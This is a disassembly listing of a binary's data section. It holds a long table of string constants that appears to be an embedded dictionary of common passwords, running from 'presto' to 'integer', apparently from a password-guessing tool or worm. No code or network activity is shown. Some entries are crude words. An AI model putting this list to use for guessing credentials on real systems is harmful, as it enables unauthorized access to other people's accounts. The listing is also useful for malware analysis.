aPresto		db 'presto',0           ; DATA XREF: ___:004301D0o
		align 4
aPrelude	db 'prelude',0          ; DATA XREF: ___:004301CCo
aPrecious	db 'precious',0         ; DATA XREF: ___:004301C8o
		align 10h
aPraise		db 'praise',0           ; DATA XREF: ___:004301C4o
		align 4
aPower		db 'power',0            ; DATA XREF: ___:004301C0o
		align 10h
aPoster		db 'poster',0           ; DATA XREF: ___:004301BCo
		align 4
aPost		db 'post',0             ; DATA XREF: ___:004301B8o
		align 10h
aPorsche	db 'porsche',0          ; DATA XREF: ___:004301B4o
aPorno		db 'porno',0            ; DATA XREF: ___:004301B0o
		align 10h
aPorn		db 'porn',0             ; DATA XREF: ___:004301ACo
		align 4
aPork		db 'pork',0             ; DATA XREF: ___:004301A8o
		align 10h
aPoor		db 'poor',0             ; DATA XREF: ___:004301A4o
		align 4
aPoop		db 'poop',0             ; DATA XREF: ___:004301A0o
		align 10h
aPonderin	db 'ponderin',0         ; DATA XREF: ___:0043019Co
		align 4
aPolynomi	db 'polynomi',0         ; DATA XREF: ___:00430198o
		align 4
aPolly		db 'polly',0            ; DATA XREF: ___:00430194o
		align 10h
aPolice		db 'police',0           ; DATA XREF: ___:00430190o
		align 4
aPoetry		db 'poetry',0           ; DATA XREF: ___:0043018Co
		align 10h
aPlymouth	db 'plymouth',0         ; DATA XREF: ___:00430188o
		align 4
aPluto		db 'pluto',0            ; DATA XREF: ___:00430184o
		align 4
aPlover		db 'plover',0           ; DATA XREF: ___:00430180o
		align 4
aPlayboy	db 'playboy',0          ; DATA XREF: ___:0043017Co
aPlane		db 'plane',0            ; DATA XREF: ___:00430178o
		align 4
aPizza		db 'pizza',0            ; DATA XREF: ___:00430174o
		align 4
aPiss		db 'piss',0             ; DATA XREF: ___:00430170o
		align 4
aPinname	db 'pinname',0          ; DATA XREF: ___:0043016Co
aPimp		db 'pimp',0             ; DATA XREF: ___:00430168o
		align 4
aPierre		db 'pierre',0           ; DATA XREF: ___:00430164o
		align 4
aPick		db 'pick',0             ; DATA XREF: ___:00430160o
		align 4
aPhuck		db 'phuck',0            ; DATA XREF: ___:0043015Co
		align 4
aPhreak		db 'phreak',0           ; DATA XREF: ___:00430158o
		align 4
aPhrase		db 'phrase',0           ; DATA XREF: ___:00430154o
		align 4
aPhrack		db 'phrack',0           ; DATA XREF: ___:00430150o
		align 4
aPhoton		db 'photon',0           ; DATA XREF: ___:0043014Co
		align 4
aPhone		db 'phone',0            ; DATA XREF: ___:00430148o
		align 4
aPhoenix	db 'phoenix',0          ; DATA XREF: ___:00430144o
aPhilip		db 'philip',0           ; DATA XREF: ___:00430140o
		align 4
aPhil		db 'phil',0             ; DATA XREF: ___:0043013Co
		align 4
aPeter		db 'peter',0            ; DATA XREF: ___:00430138o
		align 4
aPete		db 'pete',0             ; DATA XREF: ___:00430134o
		align 4
aPervert	db 'pervert',0          ; DATA XREF: ___:00430130o
aPersona	db 'persona',0          ; DATA XREF: ___:0043012Co
aPersimmo	db 'persimmo',0         ; DATA XREF: ___:00430128o
		align 10h
aPermit		db 'permit',0           ; DATA XREF: ___:00430124o
		align 4
aPerfect	db 'perfect',0          ; DATA XREF: ___:00430120o
aPercolat	db 'percolat',0         ; DATA XREF: ___:0043011Co
		align 4
aPepper		db 'pepper',0           ; DATA XREF: ___:00430118o
		align 4
aPeoria		db 'peoria',0           ; DATA XREF: ___:00430114o
		align 4
aPentium	db 'pentium',0          ; DATA XREF: ___:00430110o
aPenthous	db 'penthous',0         ; DATA XREF: ___:0043010Co
		align 10h
aPentagra	db 'pentagra',0         ; DATA XREF: ___:00430108o
		align 4
aPentagon	db 'pentagon',0         ; DATA XREF: ___:00430104o
		align 4
aPenname	db 'penname',0          ; DATA XREF: ___:00430100o
aPenis		db 'penis',0            ; DATA XREF: ___:004300FCo
		align 4
aPenguin	db 'penguin',0          ; DATA XREF: ___:004300F8o
aPenelope	db 'penelope',0         ; DATA XREF: ___:004300F4o
		align 4
aPencil		db 'pencil',0           ; DATA XREF: ___:004300F0o
		align 4
aPecker		db 'pecker',0           ; DATA XREF: ___:004300ECo
		align 4
aPeanuts	db 'peanuts',0          ; DATA XREF: ___:004300E8o
aPaula		db 'paula',0            ; DATA XREF: ___:004300E4o
		align 4
aPatty		db 'patty',0            ; DATA XREF: ___:004300E0o
		align 4
aPatriot	db 'patriot',0          ; DATA XREF: ___:004300DCo
aPatricia	db 'patricia',0         ; DATA XREF: ___:004300D8o
		align 4
aPaste		db 'paste',0            ; DATA XREF: ___:004300D4o
		align 10h
aPassphra	db 'passphra',0         ; DATA XREF: ___:004300D0o
		align 4
aPascal		db 'pascal',0           ; DATA XREF: ___:004300CCo
		align 4
aPapers		db 'papers',0           ; DATA XREF: ___:004300C8o
		align 4
aPaper		db 'paper',0            ; DATA XREF: ___:004300C4o
		align 4
aPapa		db 'papa',0             ; DATA XREF: ___:004300C0o
		align 4
aPamela		db 'pamela',0           ; DATA XREF: ___:004300BCo
		align 4
aPakistan	db 'pakistan',0         ; DATA XREF: ___:004300B8o
		align 10h
aPaint		db 'paint',0            ; DATA XREF: ___:004300B4o
		align 4
aPainless	db 'painless',0         ; DATA XREF: ___:004300B0o
		align 4
aPacker		db 'packer',0           ; DATA XREF: ___:004300ACo
		align 4
aPackard	db 'packard',0          ; DATA XREF: ___:004300A8o
aPacific	db 'pacific',0          ; DATA XREF: ___:004300A4o
aOxford		db 'oxford',0           ; DATA XREF: ___:004300A0o
		align 4
aOutside	db 'outside',0          ; DATA XREF: ___:0043009Co
aOutput		db 'output',0           ; DATA XREF: ___:00430098o
		align 4
aOutlaw		db 'outlaw',0           ; DATA XREF: ___:00430094o
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: ___:00430090o
		align 4
aOsiris		db 'osiris',0           ; DATA XREF: ___:0043008Co
		align 10h
aOscar		db 'oscar',0            ; DATA XREF: ___:00430088o
		align 4
aOrwell		db 'orwell',0           ; DATA XREF: ___:00430084o
		align 10h
aOrient		db 'orient',0           ; DATA XREF: ___:00430080o
		align 4
aOrca		db 'orca',0             ; DATA XREF: ___:0043007Co
		align 10h
aOperator	db 'operator',0         ; DATA XREF: ___:00430078o
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: ___:00430074o
		align 4
aOpenlock	db 'openlock',0         ; DATA XREF: ___:00430070o
		align 4
aOpening	db 'opening',0          ; DATA XREF: ___:0043006Co
aOmega		db 'omega',0            ; DATA XREF: ___:00430064o
		align 4
aOlivia		db 'olivia',0           ; DATA XREF: ___:00430060o
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: ___:off_43005Co
		align 4
aOldage		db 'oldage',0           ; DATA XREF: ___:00430058o
		align 10h
aOkay		db 'okay',0             ; DATA XREF: ___:00430054o
		align 4
aOffice		db 'office',0           ; DATA XREF: ___:off_430050o
		align 10h
aOcelot		db 'ocelot',0           ; DATA XREF: ___:0043004Co
		align 4
aOceanogr	db 'oceanogr',0         ; DATA XREF: ___:00430048o
		align 4
aObscurit	db 'obscurit',0         ; DATA XREF: ___:00430044o
		align 10h
aNyquist	db 'nyquist',0          ; DATA XREF: ___:00430040o
aNuts		db 'nuts',0             ; DATA XREF: ___:0043003Co
		align 10h
aNutritio	db 'nutritio',0         ; DATA XREF: ___:00430038o
		align 4
aNumber		db 'number',0           ; DATA XREF: ___:00430034o
		align 4
aNull_1		db 'null',0             ; DATA XREF: ___:00430030o
		align 4
aNukem		db 'nukem',0            ; DATA XREF: ___:0043002Co
		align 4
aNuke		db 'nuke',0             ; DATA XREF: ___:00430028o
		align 4
aNude		db 'nude',0             ; DATA XREF: ___:00430024o
		align 4
aNuclear	db 'nuclear',0          ; DATA XREF: ___:00430020o
aNoxious	db 'noxious',0          ; DATA XREF: ___:0043001Co
aNovember	db 'november',0         ; DATA XREF: ___:00430018o
		align 10h
aNovel		db 'novel',0            ; DATA XREF: ___:00430014o
		align 4
aNova		db 'nova',0             ; DATA XREF: ___:00430010o
		align 10h
aNoth		db 'noth',0             ; DATA XREF: ___:0043000Co
		align 4
aNotes		db 'notes',0            ; DATA XREF: ___:00430008o
		align 10h
aNoreen		db 'noreen',0           ; DATA XREF: ___:00430004o
		align 4
aNode		db 'node',0             ; DATA XREF: ___:00430000o
		align 10h
aNobody		db 'nobody',0           ; DATA XREF: ___:0042FFFCo
		align 4
aNoble		db 'noble',0            ; DATA XREF: ___:0042FFF8o
		align 10h
aNnaacp		db 'nnaacp',0           ; DATA XREF: ___:0042FFF4o
		align 4
aNita		db 'nita',0             ; DATA XREF: ___:0042FFF0o
		align 10h
aNintendo	db 'nintendo',0         ; DATA XREF: ___:0042FFECo
		align 4
aNightmar	db 'nightmar',0         ; DATA XREF: ___:0042FFE8o
		align 4
aNight		db 'night',0            ; DATA XREF: ___:0042FFE4o
		align 10h
aNicotine	db 'nicotine',0         ; DATA XREF: ___:0042FFE0o
		align 4
aNicole		db 'nicole',0           ; DATA XREF: ___:0042FFDCo
		align 4
aNice		db 'nice',0             ; DATA XREF: ___:0042FFD8o
		align 4
aNext		db 'next',0             ; DATA XREF: ___:0042FFD4o
		align 4
aNewyork	db 'newyork',0          ; DATA XREF: ___:0042FFD0o
aNewton		db 'newton',0           ; DATA XREF: ___:0042FFCCo
		align 4
aNewsgrou	db 'newsgrou',0         ; DATA XREF: ___:0042FFC8o
		align 10h
aNews		db 'news',0             ; DATA XREF: ___:0042FFC4o
		align 4
aNewborn	db 'newborn',0          ; DATA XREF: ___:0042FFC0o
aNetwork_0	db 'network',0          ; DATA XREF: ___:0042FFBCo
aNetscape	db 'netscape',0         ; DATA XREF: ___:0042FFB8o
		align 4
aNess		db 'ness',0             ; DATA XREF: ___:0042FFB4o
		align 4
aNeptune	db 'neptune',0          ; DATA XREF: ___:0042FFB0o
aNepenthe	db 'nepenthe',0         ; DATA XREF: ___:0042FFACo
		align 10h
aNavy		db 'navy',0             ; DATA XREF: ___:0042FFA8o
		align 4
aNasa		db 'nasa',0             ; DATA XREF: ___:0042FFA4o
		align 10h
aNapoleon	db 'napoleon',0         ; DATA XREF: ___:0042FFA0o
		align 4
aNancy		db 'nancy',0            ; DATA XREF: ___:0042FF9Co
		align 4
aName		db 'name',0             ; DATA XREF: ___:0042FF98o
		align 4
aNagel		db 'nagel',0            ; DATA XREF: ___:0042FF94o
		align 4
aMutant		db 'mutant',0           ; DATA XREF: ___:0042FF90o
		align 4
aMuppets	db 'muppets',0          ; DATA XREF: ___:0042FF8Co
aMsdos		db 'msdos',0            ; DATA XREF: ___:0042FF88o
		align 4
aMpeg		db 'mpeg',0             ; DATA XREF: ___:0042FF84o
		align 4
aMozart		db 'mozart',0           ; DATA XREF: ___:0042FF80o
		align 4
aMovies		db 'movies',0           ; DATA XREF: ___:0042FF7Co
		align 4
aMovie		db 'movie',0            ; DATA XREF: ___:0042FF78o
		align 4
aMove		db 'move',0             ; DATA XREF: ___:0042FF74o
		align 4
aMouse		db 'mouse',0            ; DATA XREF: ___:0042FF70o
		align 4
aMountain	db 'mountain',0         ; DATA XREF: ___:0042FF6Co
		align 4
aMosaic		db 'mosaic',0           ; DATA XREF: ___:0042FF68o
		align 10h
aMortgage	db 'mortgage',0         ; DATA XREF: ___:0042FF64o
		align 4
aMortalco	db 'mortalco',0         ; DATA XREF: ___:0042FF60o
		align 4
aMortal		db 'mortal',0           ; DATA XREF: ___:0042FF5Co
		align 10h
aMorris		db 'morris',0           ; DATA XREF: ___:0042FF58o
		align 4
aMorley		db 'morley',0           ; DATA XREF: ___:0042FF54o
		align 10h
aMore		db 'more',0             ; DATA XREF: ___:0042FF50o
		align 4
aMoose		db 'moose',0            ; DATA XREF: ___:0042FF4Co
		align 10h
aMoor		db 'moor',0             ; DATA XREF: ___:0042FF48o
		align 4
aMoom		db 'moom',0             ; DATA XREF: ___:0042FF44o
		align 10h
aMonica		db 'monica',0           ; DATA XREF: ___:0042FF40o
		align 4
aMonday		db 'monday',0           ; DATA XREF: ___:0042FF3Co
		align 10h
aMoguls		db 'moguls',0           ; DATA XREF: ___:0042FF38o
		align 4
aMogul		db 'mogul',0            ; DATA XREF: ___:0042FF34o
		align 10h
aModem		db 'modem',0            ; DATA XREF: ___:0042FF30o
		align 4
aMode		db 'mode',0             ; DATA XREF: ___:0042FF2Co
		align 10h
aMkii		db 'mkii',0             ; DATA XREF: ___:0042FF28o
		align 4
aMission	db 'mission',0          ; DATA XREF: ___:0042FF24o
aMisfit		db 'misfit',0           ; DATA XREF: ___:0042FF20o
		align 4
aMinsky		db 'minsky',0           ; DATA XREF: ___:0042FF1Co
		align 10h
aMinimum	db 'minimum',0          ; DATA XREF: ___:0042FF18o
aMine		db 'mine',0             ; DATA XREF: ___:0042FF14o
		align 10h
aMike		db 'mike',0             ; DATA XREF: ___:0042FF10o
		align 4
aMidieval	db 'midieval',0         ; DATA XREF: ___:0042FF0Co
		align 4
aMicrosof	db 'microsof',0         ; DATA XREF: ___:0042FF08o
		align 10h
aMicropro	db 'micropro',0         ; DATA XREF: ___:0042FF04o
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: ___:0042FF00o
		align 4
aMicro		db 'micro',0            ; DATA XREF: ___:0042FEFCo
		align 10h
aMickey		db 'mickey',0           ; DATA XREF: ___:0042FEF8o
		align 4
aMichelle	db 'michelle',0         ; DATA XREF: ___:0042FEF4o
		align 4
aMichele	db 'michele',0          ; DATA XREF: ___:0042FEF0o
aMichelan	db 'michelan',0         ; DATA XREF: ___:0042FEECo
		align 4
aMichel		db 'michel',0           ; DATA XREF: ___:0042FEE8o
		align 10h
aMichael	db 'michael',0          ; DATA XREF: ___:0042FEE4o
aMice		db 'mice',0             ; DATA XREF: ___:0042FEE0o
		align 10h
aMets		db 'mets',0             ; DATA XREF: ___:0042FEDCo
		align 4
aMetalica	db 'metalica',0         ; DATA XREF: ___:0042FED8o
		align 4
aMetalhea	db 'metalhea',0         ; DATA XREF: ___:0042FED4o
		align 10h
aMetal		db 'metal',0            ; DATA XREF: ___:0042FED0o
		align 4
aMerlin		db 'merlin',0           ; DATA XREF: ___:0042FECCo
		align 10h
aMercury	db 'mercury',0          ; DATA XREF: ___:0042FEC8o
aMenu		db 'menu',0             ; DATA XREF: ___:0042FEC4o
		align 10h
aMenace		db 'menace',0           ; DATA XREF: ___:0042FEC0o
		align 4
aMemory		db 'memory',0           ; DATA XREF: ___:0042FEBCo
		align 10h
aMember		db 'member',0           ; DATA XREF: ___:0042FEB8o
		align 4
aMelrose	db 'melrose',0          ; DATA XREF: ___:0042FEB4o
aMellon		db 'mellon',0           ; DATA XREF: ___:0042FEB0o
		align 4
aMelissa	db 'melissa',0          ; DATA XREF: ___:0042FEACo
aMegan		db 'megan',0            ; DATA XREF: ___:0042FEA8o
		align 4
aMegadeth	db 'megadeth',0         ; DATA XREF: ___:0042FEA4o
		align 4
aMegabyte	db 'megabyte',0         ; DATA XREF: ___:0042FEA0o
		align 10h
aMeagan		db 'meagan',0           ; DATA XREF: ___:0042FE9Co
		align 4
aMaurice	db 'maurice',0          ; DATA XREF: ___:0042FE98o
aMath		db 'math',0             ; DATA XREF: ___:0042FE94o
		align 4
aMaster		db 'master',0           ; DATA XREF: ___:0042FE90o
		align 10h
aMason		db 'mason',0            ; DATA XREF: ___:0042FE8Co
		align 4
aMary		db 'mary',0             ; DATA XREF: ___:0042FE88o
		align 10h
aMarvin		db 'marvin',0           ; DATA XREF: ___:0042FE84o
		align 4
aMarty		db 'marty',0            ; DATA XREF: ___:0042FE80o
		align 10h
aMars		db 'mars',0             ; DATA XREF: ___:0042FE7Co
		align 4
aMarriage	db 'marriage',0         ; DATA XREF: ___:0042FE78o
		align 4
aMarni		db 'marni',0            ; DATA XREF: ___:0042FE74o
		align 4
aMarkus		db 'markus',0           ; DATA XREF: ___:0042FE70o
		align 4
aMark		db 'mark',0             ; DATA XREF: ___:0042FE6Co
		align 4
aMarines	db 'marines',0          ; DATA XREF: ___:0042FE68o
aMarijuan	db 'marijuan',0         ; DATA XREF: ___:0042FE64o
		align 10h
aMarietta	db 'marietta',0         ; DATA XREF: ___:0042FE60o
		align 4
aMariens	db 'mariens',0          ; DATA XREF: ___:0042FE5Co
aMaria		db 'maria',0            ; DATA XREF: ___:0042FE58o
		align 4
aMarcy		db 'marcy',0            ; DATA XREF: ___:0042FE54o
		align 4
aMarci		db 'marci',0            ; DATA XREF: ___:0042FE50o
		align 4
aMara		db 'mara',0             ; DATA XREF: ___:0042FE4Co
		align 4
aManager	db 'manager',0          ; DATA XREF: ___:0042FE48o
aMana		db 'mana',0             ; DATA XREF: ___:0042FE44o
		align 4
aMalcom		db 'malcom',0           ; DATA XREF: ___:0042FE40o
		align 4
aMalcolm	db 'malcolm',0          ; DATA XREF: ___:0042FE3Co
aMaint		db 'maint',0            ; DATA XREF: ___:0042FE38o
		align 4
aMail		db 'mail',0             ; DATA XREF: ___:0042FE34o
		align 4
aMagnet		db 'magnet',0           ; DATA XREF: ___:0042FE30o
		align 4
aMagic		db 'magic',0            ; DATA XREF: ___:0042FE2Co
		align 4
aMaggot		db 'maggot',0           ; DATA XREF: ___:0042FE28o
		align 4
aMacro		db 'macro',0            ; DATA XREF: ___:0042FE24o
		align 4
aMack		db 'mack',0             ; DATA XREF: ___:0042FE20o
		align 4
aMacintos	db 'macintos',0         ; DATA XREF: ___:0042FE1Co
		align 4
aMachine	db 'machine',0          ; DATA XREF: ___:0042FE18o
aLynne		db 'lynne',0            ; DATA XREF: ___:0042FE14o
		align 4
aLynn		db 'lynn',0             ; DATA XREF: ___:0042FE10o
		align 10h
aLust		db 'lust',0             ; DATA XREF: ___:0042FE0Co
		align 4
aLuke		db 'luke',0             ; DATA XREF: ___:0042FE08o
		align 10h
aLude		db 'lude',0             ; DATA XREF: ___:0042FE04o
		align 4
aLucy		db 'lucy',0             ; DATA XREF: ___:0042FE00o
		align 10h
aLucus		db 'lucus',0            ; DATA XREF: ___:0042FDFCo
		align 4
aLuck		db 'luck',0             ; DATA XREF: ___:0042FDF8o
		align 10h
aLover		db 'lover',0            ; DATA XREF: ___:0042FDF4o
		align 4
aLovebug	db 'lovebug',0          ; DATA XREF: ___:0042FDF0o
aLouis		db 'louis',0            ; DATA XREF: ___:0042FDECo
		align 4
aLoser		db 'loser',0            ; DATA XREF: ___:0042FDE8o
		align 10h
aLorraine	db 'lorraine',0         ; DATA XREF: ___:0042FDE4o
		align 4
aLorin		db 'lorin',0            ; DATA XREF: ___:0042FDE0o
		align 4
aLori		db 'lori',0             ; DATA XREF: ___:0042FDDCo
		align 4
aLore		db 'lore',0             ; DATA XREF: ___:0042FDD8o
		align 4
aLoose		db 'loose',0            ; DATA XREF: ___:0042FDD4o
		align 4
aLolopc		db 'lolopc',0           ; DATA XREF: ___:0042FDD0o
		align 4
aLois		db 'lois',0             ; DATA XREF: ___:0042FDCCo
		align 4
aLogout		db 'logout',0           ; DATA XREF: ___:0042FDC8o
		align 4
aLoginwor	db 'loginwor',0         ; DATA XREF: ___:0042FDC4o
		align 10h
aLogic		db 'logic',0            ; DATA XREF: ___:0042FDC0o
		align 4
aLockword	db 'lockword',0         ; DATA XREF: ___:0042FDBCo
		align 4
aLockout	db 'lockout',0          ; DATA XREF: ___:0042FDB8o
aLock		db 'lock',0             ; DATA XREF: ___:0042FDB4o
		align 4
aLoad		db 'load',0             ; DATA XREF: ___:0042FDB0o
		align 4
aLive		db 'live',0             ; DATA XREF: ___:0042FDACo
		align 4
aLiteratu	db 'literatu',0         ; DATA XREF: ___:0042FDA8o
		align 10h
aLisp		db 'lisp',0             ; DATA XREF: ___:0042FDA4o
		align 4
aLisa		db 'lisa',0             ; DATA XREF: ___:0042FDA0o
		align 10h
aLips		db 'lips',0             ; DATA XREF: ___:0042FD9Co
		align 4
aLion		db 'lion',0             ; DATA XREF: ___:0042FD98o
		align 10h
aLink		db 'link',0             ; DATA XREF: ___:0042FD94o
		align 4
aLinda		db 'linda',0            ; DATA XREF: ___:0042FD90o
		align 10h
aLimited	db 'limited',0          ; DATA XREF: ___:0042FD8Co
aLimbaugh	db 'limbaugh',0         ; DATA XREF: ___:0042FD88o
		align 4
aLima		db 'lima',0             ; DATA XREF: ___:0042FD84o
		align 4
aLightsab	db 'lightsab',0         ; DATA XREF: ___:0042FD80o
		align 4
aLight		db 'light',0            ; DATA XREF: ___:0042FD7Co
		align 10h
aLife		db 'life',0             ; DATA XREF: ___:0042FD78o
		align 4
aLicker		db 'licker',0           ; DATA XREF: ___:0042FD74o
		align 10h
aLick		db 'lick',0             ; DATA XREF: ___:0042FD70o
		align 4
aLibrary	db 'library',0          ; DATA XREF: ___:0042FD6Co
aLiberal	db 'liberal',0          ; DATA XREF: ___:0042FD68o
aLexluthe	db 'lexluthe',0         ; DATA XREF: ___:0042FD64o
		align 4
aLewis		db 'lewis',0            ; DATA XREF: ___:0042FD60o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: ___:0042FD5Co
aLeslie		db 'leslie',0           ; DATA XREF: ___:0042FD58o
		align 4
aLesbian	db 'lesbian',0          ; DATA XREF: ___:0042FD54o
aLeroy		db 'leroy',0            ; DATA XREF: ___:0042FD50o
		align 4
aLeland		db 'leland',0           ; DATA XREF: ___:0042FD4Co
		align 4
aLegal		db 'legal',0            ; DATA XREF: ___:0042FD48o
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: ___:0042FD44o
		align 4
aLeft		db 'left',0             ; DATA XREF: ___:0042FD40o
		align 10h
aLebesgue	db 'lebesgue',0         ; DATA XREF: ___:0042FD3Co
		align 4
aLeah		db 'leah',0             ; DATA XREF: ___:0042FD38o
		align 4
aLazer		db 'lazer',0            ; DATA XREF: ___:0042FD34o
		align 4
aLazarus	db 'lazarus',0          ; DATA XREF: ___:0042FD30o
aLava		db 'lava',0             ; DATA XREF: ___:0042FD2Co
		align 4
aLaura		db 'laura',0            ; DATA XREF: ___:0042FD28o
		align 4
aLaser		db 'laser',0            ; DATA XREF: ___:0042FD24o
		align 4
aLarry		db 'larry',0            ; DATA XREF: ___:0042FD20o
		align 4
aLarkin		db 'larkin',0           ; DATA XREF: ___:0042FD1Co
		align 4
aLara		db 'lara',0             ; DATA XREF: ___:0042FD18o
		align 4
aLaptop		db 'laptop',0           ; DATA XREF: ___:0042FD14o
		align 4
aLana		db 'lana',0             ; DATA XREF: ___:0042FD10o
		align 4
aLaminati	db 'laminati',0         ; DATA XREF: ___:0042FD0Co
		align 10h
aLambda		db 'lambda',0           ; DATA XREF: ___:0042FD08o
		align 4
aLakers		db 'lakers',0           ; DATA XREF: ___:0042FD04o
		align 10h
aLadle		db 'ladle',0            ; DATA XREF: ___:0042FD00o
		align 4
aLadies		db 'ladies',0           ; DATA XREF: ___:0042FCFCo
		align 10h
aKristy		db 'kristy',0           ; DATA XREF: ___:0042FCF8o
		align 4
aKristine	db 'kristine',0         ; DATA XREF: ___:0042FCF4o
		align 4
aKristin	db 'kristin',0          ; DATA XREF: ___:0042FCF0o
aKristie	db 'kristie',0          ; DATA XREF: ___:0042FCECo
aKristi		db 'kristi',0           ; DATA XREF: ___:0042FCE8o
		align 4
aKristen	db 'kristen',0          ; DATA XREF: ___:0042FCE4o
aKrista		db 'krista',0           ; DATA XREF: ___:0042FCE0o
		align 4
aKnown		db 'known',0            ; DATA XREF: ___:0042FCDCo
		align 4
aKnightma	db 'knightma',0         ; DATA XREF: ___:0042FCD8o
		align 10h
aKnight		db 'knight',0           ; DATA XREF: ___:0042FCD4o
		align 4
aKnife		db 'knife',0            ; DATA XREF: ___:0042FCD0o
		align 10h
aKlingon	db 'klingon',0          ; DATA XREF: ___:0042FCCCo
aKitten		db 'kitten',0           ; DATA XREF: ___:0042FCC8o
		align 10h
aKissmyas	db 'kissmyas',0         ; DATA XREF: ___:0042FCC4o
		align 4
aKiss		db 'kiss',0             ; DATA XREF: ___:0042FCC0o
		align 4
aKirkland	db 'kirkland',0         ; DATA XREF: ___:0042FCBCo
		align 10h
aKirk		db 'kirk',0             ; DATA XREF: ___:0042FCB8o
		align 4
aKing		db 'king',0             ; DATA XREF: ___:0042FCB4o
		align 10h
aKimberly	db 'kimberly',0         ; DATA XREF: ___:0042FCB0o
		align 4
aKilo		db 'kilo',0             ; DATA XREF: ___:0042FCACo
		align 4
aKillthem	db 'killthem',0         ; DATA XREF: ___:0042FCA8o
		align 10h
aKill		db 'kill',0             ; DATA XREF: ___:0042FCA4o
		align 4
aKids		db 'kids',0             ; DATA XREF: ___:0042FCA0o
		align 10h
aKeyword	db 'keyword',0          ; DATA XREF: ___:0042FC9Co
aKeyin		db 'keyin',0            ; DATA XREF: ___:0042FC98o
		align 10h
aKeybord	db 'keybord',0          ; DATA XREF: ___:0042FC94o
aKewl		db 'kewl',0             ; DATA XREF: ___:0042FC90o
		align 10h
aKevin		db 'kevin',0            ; DATA XREF: ___:0042FC8Co
		align 4
aKerry		db 'kerry',0            ; DATA XREF: ___:0042FC88o
		align 10h
aKerrie		db 'kerrie',0           ; DATA XREF: ___:0042FC84o
		align 4
aKerri		db 'kerri',0            ; DATA XREF: ___:0042FC80o
		align 10h
aKernel		db 'kernel',0           ; DATA XREF: ___:0042FC7Co
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:0042FC78o
		align 10h
aKeri		db 'keri',0             ; DATA XREF: ___:0042FC74o
		align 4
aKelly		db 'kelly',0            ; DATA XREF: ___:0042FC70o
		align 10h
aKatrina	db 'katrina',0          ; DATA XREF: ___:0042FC6Co
aKatina		db 'katina',0           ; DATA XREF: ___:0042FC68o
		align 10h
aKathy		db 'kathy',0            ; DATA XREF: ___:0042FC64o
		align 4
aKathrine	db 'kathrine',0         ; DATA XREF: ___:0042FC60o
		align 4
aKathleen	db 'kathleen',0         ; DATA XREF: ___:0042FC5Co
		align 10h
aKate		db 'kate',0             ; DATA XREF: ___:0042FC58o
		align 4
aKatana		db 'katana',0           ; DATA XREF: ___:0042FC54o
		align 10h
aKarina		db 'karina',0           ; DATA XREF: ___:0042FC50o
		align 4
aKarie		db 'karie',0            ; DATA XREF: ___:0042FC4Co
		align 10h
aKaren		db 'karen',0            ; DATA XREF: ___:0042FC48o
		align 4
aKaka		db 'kaka',0             ; DATA XREF: ___:0042FC44o
		align 10h
aJupiter	db 'jupiter',0          ; DATA XREF: ___:0042FC40o
aJune		db 'june',0             ; DATA XREF: ___:0042FC3Co
		align 10h
aJuliet		db 'juliet',0           ; DATA XREF: ___:0042FC38o
		align 4
aJulie		db 'julie',0            ; DATA XREF: ___:0042FC34o
		align 10h
aJulia		db 'julia',0            ; DATA XREF: ___:0042FC30o
		align 4
aJuicy		db 'juicy',0            ; DATA XREF: ___:0042FC2Co
		align 10h
aJuggle		db 'juggle',0           ; DATA XREF: ___:0042FC28o
		align 4
aJudy		db 'judy',0             ; DATA XREF: ___:0042FC24o
		align 10h
aJudith		db 'judith',0           ; DATA XREF: ___:0042FC20o
		align 4
aJoyce		db 'joyce',0            ; DATA XREF: ___:0042FC1Co
		align 10h
aJournal	db 'journal',0          ; DATA XREF: ___:0042FC18o
aJoshua		db 'joshua',0           ; DATA XREF: ___:0042FC14o
		align 10h
aJoseph		db 'joseph',0           ; DATA XREF: ___:0042FC10o
		align 4
aJohnny		db 'johnny',0           ; DATA XREF: ___:0042FC0Co
		align 10h
aJohndoe	db 'johndoe',0          ; DATA XREF: ___:0042FC08o
aJohn		db 'john',0             ; DATA XREF: ___:0042FC04o
		align 10h
aJody		db 'jody',0             ; DATA XREF: ___:0042FC00o
		align 4
aJoanne		db 'joanne',0           ; DATA XREF: ___:0042FBFCo
		align 10h
aJixian		db 'jixian',0           ; DATA XREF: ___:0042FBF8o
		align 4
aJill		db 'jill',0             ; DATA XREF: ___:0042FBF4o
		align 10h
aJewelry	db 'jewelry',0          ; DATA XREF: ___:0042FBF0o
aJester		db 'jester',0           ; DATA XREF: ___:0042FBECo
		align 10h
aJessica	db 'jessica',0          ; DATA XREF: ___:0042FBE8o
aJerusale	db 'jerusale',0         ; DATA XREF: ___:0042FBE4o
		align 4
aJerry		db 'jerry',0            ; DATA XREF: ___:0042FBE0o
		align 4
aJenny		db 'jenny',0            ; DATA XREF: ___:0042FBDCo
		align 4
aJennifer	db 'jennifer',0         ; DATA XREF: ___:0042FBD8o
		align 10h
aJenni		db 'jenni',0            ; DATA XREF: ___:0042FBD4o
		align 4
aJeff		db 'jeff',0             ; DATA XREF: ___:0042FBD0o
		align 10h
aJeanne		db 'jeanne',0           ; DATA XREF: ___:0042FBCCo
		align 4
aJean		db 'jean',0             ; DATA XREF: ___:0042FBC8o
		align 10h
aJazz		db 'jazz',0             ; DATA XREF: ___:0042FBC4o
		align 4
aJava		db 'java',0             ; DATA XREF: ___:0042FBC0o
		align 10h
aJasmin		db 'jasmin',0           ; DATA XREF: ___:0042FBBCo
		align 4
aJapan		db 'japan',0            ; DATA XREF: ___:0042FBB8o
		align 10h
aJanie		db 'janie',0            ; DATA XREF: ___:0042FBB4o
		align 4
aJanice		db 'janice',0           ; DATA XREF: ___:0042FBB0o
		align 10h
aJanet		db 'janet',0            ; DATA XREF: ___:0042FBACo
		align 4
aJane		db 'jane',0             ; DATA XREF: ___:0042FBA8o
		align 10h
aJail		db 'jail',0             ; DATA XREF: ___:0042FBA4o
		align 4
aJackie		db 'jackie',0           ; DATA XREF: ___:0042FBA0o
		align 10h
aIsis		db 'isis',0             ; DATA XREF: ___:0042FB9Co
		align 4
aIrishman	db 'irishman',0         ; DATA XREF: ___:0042FB98o
		align 4
aIrene		db 'irene',0            ; DATA XREF: ___:0042FB94o
		align 4
aInvent		db 'invent',0           ; DATA XREF: ___:0042FB90o
		align 4
aInteger	db 'integer',0          ; DATA XREF: ___:0042FB8Co
